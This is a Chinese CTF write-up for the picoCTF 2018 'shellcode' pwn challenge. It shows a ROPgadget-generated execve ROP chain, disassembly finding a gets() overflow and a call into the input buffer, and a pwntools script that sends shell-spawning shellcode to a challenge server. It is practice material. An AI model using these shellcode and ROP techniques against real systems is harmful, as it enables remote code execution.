当前位置: 首页 > news >正文

picoctf_2018_shellcode

picoctf_2018_shellcode

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

32位,啥都没开

这个看着挺大的,直接来个ROPchain,

#!/usr/bin/env python2# execve generated by ROPgadgetfrom struct import pack# Padding goes herep = ''p += pack('<I', 0x0806f05a) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b81f6) # pop eax ; retp += '/bin'p += pack('<I', 0x08054a0b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f05a) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b81f6) # pop eax ; retp += '//sh'p += pack('<I', 0x08054a0b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f05a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049333) # xor eax, eax ; retp += pack('<I', 0x08054a0b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de995) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806f05a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049333) # xor eax, eax ; retp += pack('<I', 0x0805c312) # inc eax ; retp += pack('<I', 0x0805c312) # inc eax ; retp += pack('<I', 0x0805c312) # inc eax ; retp += pack('<I', 0x0805c312) # inc eax ; retp += pack('<I', 0x0805c312) # inc eax ; retp += pack('<I', 0x0805c312) # inc eax ; retp += pack('<I', 0x0805c312) # inc eax ; retp += pack('<I', 0x0805c312) # inc eax ; retp += pack('<I', 0x0805c312) # inc eax ; retp += pack('<I', 0x0805c312) # inc eax ; retp += pack('<I', 0x0805c312) # inc eax ; retp += pack('<I', 0x0806cc55) # int 0x80

还真有

,然后让我看看溢出点

main函数无法编译,(得看汇编了

(但是我们可以反汇编vuln函数

int __cdecl vuln(int a1)
{gets(a1);return puts(a1);
}

vuln很简单,但是a1在栈中的位置

我们看看main传了什么进去

.text:080488F2                 add     esp, 10h
.text:080488F5                 sub     esp, 0Ch
.text:080488F8                 lea     eax, [ebp+var_A0]
.text:080488FE                 push    eax
.text:080488FF                 call    vuln

把var_A0传入,也就是我们输入的位置,从var_A0开始写入

在观察一下main的汇编

发现一个东西

.text:08048914                 add     esp, 10h
.text:08048917                 lea     eax, [ebp+var_A0]
.text:0804891D                 call    eax
.text:0804891F                 mov     eax, 0
.text:08048924                 mov     ecx, [ebp+var_4]
.text:08048927                 leave

在main的后面有个call var_A0也就是说,我们写的东西能直接执行,并且也没开NX

思路

直接写shellcode

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",25457,"./pwn",0)
context(os='linux', arch='i386',log_level='debug')sl(asm(shellcraft.sh()))ia()

在这里插入图片描述

http://www.lryc.cn/news/180027.html

相关文章:

  • Apache Derby的使用
  • leetcode 图相关的题
  • 程序员们,我们能工作到65岁吗?
  • 【洛谷 P1996】约瑟夫问题 题解(队列+模拟+循环)
  • 字符串函数与内存函数讲解
  • c语言系统编程之多进程
  • 前端还是后端:探讨Web开发的两大街区
  • JavaScript中如何确定this的值?如何指定this的值?
  • ubuntu下源码编译方式安装opencv
  • spring boot整合常用redis客户端(Jedis、Lettuce、RedisTemplate、Redisson)常见场景解决方案
  • HarmonyOS之运行Hello World
  • postgresql数据库|wal日志的开启以及如何管理
  • 小波变换学习笔记【1】
  • 雷柏mv20鼠标使用体验
  • 【分布式云储存】Springboot微服务接入MinIO实现文件服务
  • 机器人中的数值优化|【四】L-BFGS理论推导与延伸
  • ThemeForest – Canvas 7.2.0 – 多用途 HTML5 模板
  • 本地部署 川虎 Chat
  • IntelliJ IDEA 控制台中文乱码的四种解决方法
  • 23岁准备转行嵌入式
  • http请求报错:406 Not Acceptable的解决办法
  • 信息化发展75
  • C++八股
  • Nat. Commun. | 大规模高分辨单光子成像
  • Android开源库
  • 【小程序 - 基础】页面导航、页面事件、生命周期、WXS脚本_04
  • 矩阵求导数
  • 竞赛 大数据疫情分析及可视化系统
  • 数据结构--栈
  • 期权定价模型系列【7】:Barone-Adesi-Whaley定价模型